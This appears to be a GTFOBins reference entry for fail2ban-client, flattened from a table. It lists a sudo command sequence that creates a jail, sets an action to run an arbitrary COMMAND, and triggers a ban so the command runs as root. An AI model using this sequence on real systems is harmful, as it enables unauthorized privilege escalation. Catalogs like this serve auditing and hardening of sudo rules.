GTFOBins.github.io/_gtfobins/fail2ban-client.md

description, functions

description	functions
The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns.	sudo code COMMAND="id" sudo fail2ban-client add woot sudo fail2ban-client set woot addaction wootaction sudo fail2ban-client set woot action wootaction actionban "$COMMAND" sudo fail2ban-client start woot sudo fail2ban-client set woot banip 999.999.999.999 sudo fail2ban-client set woot unbanip 999.999.999.999 sudo fail2ban-client stop woot